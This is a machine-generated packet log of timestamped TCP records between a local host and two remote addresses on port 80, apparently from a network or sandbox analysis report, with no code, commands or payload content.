Dec 17, 2024 10:08:54.763380051 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.799472094 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.799493074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.799505949 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.799518108 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.799590111 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.799681902 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.799736023 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.799833059 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.799844980 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.799882889 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.800215960 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.800267935 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.800281048 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.800317049 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.800328016 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.800338030 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.800961018 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.801009893 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.801022053 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.801059008 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.801110983 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.801717997 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.801738024 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.801752090 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.801764965 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.801799059 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.801865101 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.802505016 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.802620888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.802669048 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.830172062 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.882430077 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.882471085 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.882484913 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.882514000 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.882556915 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.882606983 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.882750034 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.882797956 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.882808924 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.882852077 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.882853031 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.883244991 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.883306980 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.883330107 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.883362055 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.883377075 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.884042025 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.884097099 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.884103060 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.884109020 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.884135008 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.884182930 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.884788990 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.884819031 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.884854078 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.884865046 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.884907007 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.885081053 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.885314941 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.885588884 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.885647058 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.885658026 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.885687113 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.885745049 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.885788918 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.886385918 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.886478901 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.887583971 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.954042912 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:55.360210896 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:58.503339052 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:08:58.623213053 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:08:58.623359919 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:08:58.624074936 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:08:58.744278908 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:08:59.962418079 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:08:59.962898016 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:08:59.966078043 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:00.085818052 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:01.156636953 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:01.161077023 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:01.315336943 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:01.435600996 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:01.755142927 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:01.755284071 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:01.755305052 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:01.755366087 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:01.756870985 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:01.877105951 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:02.196537971 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:02.196573973 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:02.196589947 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:02.196602106 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:02.196616888 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:02.196630955 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:02.196633101 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:02.196631908 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:02.196650028 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:02.196718931 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:02.196718931 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:02.198561907 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:02.318339109 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:02.645286083 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:02.645385981 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:02.743187904 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:02.743231058 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:02.863130093 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:02.863164902 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:02.863174915 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:02.863267899 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:02.863281012 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:02.863289118 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:02.863354921 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:03.809566975 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:03.814017057 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:04.551304102 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:04.671127081 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:04.988635063 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:04.988693953 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:04.988703012 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:04.988734961 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:04.992636919 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:04.992743969 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:04.993561983 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:04.993602991 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:04.993664026 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:04.993875027 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.001992941 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.002085924 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.002109051 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.002243042 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.010376930 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.010421991 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.010581017 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.010628939 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.018868923 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.018934011 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.018991947 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.019335985 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.027244091 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.027298927 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.113945961 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.113965034 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.114048004 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.114048004 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.117620945 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.117657900 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.117835045 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.117882967 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.125891924 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.125967026 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.125988007 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.126060963 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.134289026 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.134409904 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.134448051 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.134448051 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.142718077 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.142996073 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.180258989 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.180311918 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.180316925 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.180382013 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.184475899 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.184528112 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.184674025 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.184844017 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.192861080 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.193016052 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.195944071 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.195991039 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.196054935 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.196285009 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.204413891 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.204605103 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.204653025 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.204653025 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.213434935 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.213505030 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.213586092 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.213648081 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.221286058 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.221353054 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.221357107 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.221457958 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.229700089 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.229753017 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.237663984 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.237734079 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.237766981 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.237812042 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.241070032 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.241162062 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.241735935 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.241775036 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.241837978 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.241904020 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.248481035 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.248590946 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.248752117 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.248752117 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.255472898 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.255518913 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.255542994 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.255593061 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.261945009 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.262017965 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.305366039 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.305385113 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.305485964 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.308238983 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.308335066 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.308358908 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.308428049 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.314450026 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.314538002 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.314544916 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.314834118 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.320643902 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.320756912 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.321168900 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.326833963 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.326952934 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.327091932 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.333159924 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.333267927 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.333301067 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.333318949 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.339354992 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.339380026 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.339590073 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.345515013 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.345659971 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.345721006 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.351752043 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.351875067 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.352016926 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.372308016 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.372350931 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.372459888 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.372459888 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.373977900 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.374063969 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.374113083 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.374300957 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.377470970 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.377569914 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.377679110 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.377679110 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.381082058 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.381160975 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.381164074 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.381326914 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.384566069 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.384645939 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.384661913 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.384732962 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.388048887 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.388123035 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.388243914 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.388243914 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.391460896 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.391578913 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.391673088 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.394925117 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.395036936 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.395200968 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.398346901 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.398513079 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.398540974 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.398788929 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.401801109 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.401878119 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.401964903 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.402982950 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.405211926 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.405251026 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.405381918 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.405472994 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.429730892 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.429828882 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.429881096 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.430052996 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.431515932 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.431634903 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.431684017 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.431725979 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.434279919 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.434351921 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.434382915 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.434475899 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.437551975 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.437680006 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.437802076 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.440968990 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.441082001 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.441127062 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.441230059 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.444505930 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.444557905 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.444574118 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.444654942 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.447840929 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.447928905 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.497229099 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.497293949 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.497402906 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.497402906 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.498713017 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.498810053 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.498847008 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.498847008 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.501853943 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.501943111 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.501964092 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.502295971 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.504998922 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.505108118 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.505122900 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.505341053 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.508126020 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.508208990 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.508233070 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.508421898 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.511286974 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.511385918 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.511461973 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.511461973 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.514401913 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.514496088 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.514569998 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.514592886 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.517376900 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.517484903 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.518012047 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.520375013 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.520477057 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.520513058 CET	49812	80	192.168.2.6	185.215.113.206
